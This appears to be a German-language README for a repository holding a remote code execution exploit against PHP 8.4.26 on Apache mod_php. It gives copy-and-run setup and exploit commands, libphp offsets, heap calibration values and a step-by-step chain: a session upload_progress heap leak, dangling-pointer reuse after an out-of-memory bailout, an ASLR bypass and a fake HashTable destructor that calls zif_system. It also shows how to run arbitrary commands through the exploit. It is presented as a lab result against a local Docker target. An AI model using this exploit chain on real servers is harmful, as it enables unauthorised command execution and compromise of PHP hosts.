
Reiner HTTP-Exploit, der RCE auf PHP 8.4.26 + Apache mod_php erreicht, mittels session upload_progress Heap-Leak, Dangling-Pointer-Wiederverwendung und ASLR-Bypass zum Aufruf von zif_system.
Chinesisch | Englisch
Unter den Einschränkungen „vollständig remote, ausschließlich HTTP, Zielseite ohne session_start(), kein Schreiben von jeglichem zielseitigem PHP" wird mit einem einzigen exploit.py eine RCE auf PHP 8.4.26 + Apache prefork + mod_php erreicht. Das offizielle php:8.4.26-apache-Image wurde bereits 3/3 per Ein-Klick erfolgreich getestet (PROOF: uid=33(www-data)...). Die aktuelle Version erfordert display_errors=1; für display_errors=0 wurde bereits ein reines HTTP-Heap-Leak erreicht, die vollständige RCE wird später eingereicht.
Im Folgenden finden Sie die vollständigen Befehle von Null bis zur RCE; einfach den gesamten Abschnitt kopieren und ausführen. Dieses Repository kompiliert weder PHP noch Apache, es gibt kein docker build: Die Umgebung besteht aus dem offiziellen php:8.4.26-apache-Image plus den Konfigurations-Mounts unter docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Wenn Sie sich bereits im Repository-Verzeichnis befinden, überspringen Sie
git clone/cd;pullkann ebenfalls weggelassen werden,up -dzieht das Image automatisch.
exploit.py übernimmt automatisch die Worker-Rotation, das zweistufige Leak, die Ausführung von zif_system und das Auslesen des Proofs; jede Phase verfügt über integrierte Wiederholungsversuche. Laufzeitumgebung:
| Komponente | Version | Quelle |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Basissystem | Debian 12 (bookworm) | Ebenda |
| Apache | 2.4.69 (Debian-12-Paket im offiziellen Image, gemessen) | Ebenda |
| MPM | prefork, einzelner Worker | docker/apache.conf |
| Apache im Lab-Bericht | 2.4.68 (ursprünglich selbst kompiliert im Lab, --profile lab) | Für vollständige Übereinstimmung den 2.4.68-Tag von apache/httpd verwenden |
Offizielles Image-Repository: docker-library/php (Docker Hub: php:8.4.26-apache); PHP-Quellcode: php/php-src (Tag php-8.4.26).
Beim ersten Lauf wird automatisch docker/offsets.py ausgeführt: Die tatsächlichen Offsets von zif_system / zval_ptr_dtor werden aus der libphp.so im Container gelesen und in out/offsets.env geschrieben; exploit.py lädt sie automatisch, sodass nach einem Wechsel des offiziellen Images oder einem Upgrade die Offsets nicht manuell angepasst werden müssen. Der Standardbefehl ist id>/out/p1 (10 Bytes); das /out im Container ist auf das ./out des Repositorys gemountet, sodass der Proof direkt auf dem lokalen Rechner landet:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Die Befehlsgrenze in der Payload beträgt 14 Bytes. Um beliebige Befehle auszuführen, schreiben Sie das Skript in das gemountete Verzeichnis und führen Sie es dann mit sh</out/c (8 Bytes) aus:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
Häufig verwendete Parameter: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. Das Standardprofil ist bookworm (offizielles Image); der ursprüngliche Lab-Build verwendet --profile lab. Mit --offsets-file '' kann das automatische Einlesen deaktiviert werden; wenn der Containername nicht php2shell-target ist, wird --docker-container zur Angabe verwendet.
Die Heap-Kalibrierung für bookworm ist bereits integriert: stage1-Filler-Anzahl 841; stage2-Zielarray 406, Elementwertlänge 16; stage3 HTDATA=chunk+0x690d8, das Pad von A ist 6×(31,31) und enthält zusätzlich ein 32 Zeichen langes gültiges Cookie: PHPSESSID, sodass B die stale id wiederverwendet (send_cookie=0), um zu vermeiden, dass der Set-Cookie-Header der Session bei R0+16 val.type überschreibt; B überschreibt mit einem 15B-Carrier val.value der Referenz. Die libphp-Offsets des offiziellen Images werden automatisch als zif_system=0x465370, zval_ptr_dtor=0x65eb60 eingelesen; das ursprüngliche Lab verwendet 0x43a870 / 0x613c50.
Die Angriffsfläche ist die Session-Initialisierung, die session.upload_progress vor RINIT auslöst, sowie der nach einem OOM-Bailout über Requests hinweg verbleibende Dangling Pointer. Im Folgenden wird der Lab-Build als Beispiel verwendet; die kalibrierten Werte des offiziellen bookworm-Images finden sich am Ende des exp.
Der gesamte Angriffsverkehr der Kette besteht aus gewöhnlichem Multipart-HTTP, die Zielseite enthält nur <?php echo "OK\n"; ?>:
Worker-Rotation: Nach A_bigfields (3 MB lebendes POST-Feld + 12 MB OOM) folgt unmittelbar ein B, das eine Session initialisiert; der Child-Prozess beendet sich mit SIGABRT; der von prefork geforkte neue Worker erbt dieselben libphp/chunk-Mappings.
Heap-Leak: A löst mit 1001 Feldern die max_input_vars-Warnung aus (display_errors=On → headers_sent=1), PHPSESSID=\x00 erzeugt eine neue id und setzt send_cookie=1, das letzte 12-MB-Feld läuft innerhalb von php_session_initialize() in einen OOM, PS(http_session_vars) wird dangling. B belegt mit einem 56 B großen Multipart-Rohwert-Puffer die alte Referenz erneut und trägt mit einem lebenden 192 B großen zend_string eine Fake-HashTable; der Out-of-Bounds-Lesezugriff von php_url_encode() schreibt Zend-MM-chunk-Zeiger in Set-Cookie (4096 B, 98 Zeiger).
libphp-Leak: A platziert das dangling PS(id) bei chunk+0xb7400; die 56 B große HashTable-Seite von B lässt ZSTR_LEN(PS(id)) den Wert nTableSize=16 lesen, der Datenbereich ist genau nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, aus Set-Cookie wird die libphp-Basis extrahiert.
Befehlsausführung: A fixiert mit 6 Pad die dangling Referenz auf R0=chunk+0x24e0; B überschreibt mit einem 55 B großen Rohpuffer R0-0x10, die Fake-HashTable wird in einem 167 B großen lebenden String bei chunk+0x6e0d8 platziert, pDestructor = zif_system = libphp+0x43a870. Auslösekette:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
Das Terminal verwendet ausschließlich zif_system aus libphp und benötigt kein libc.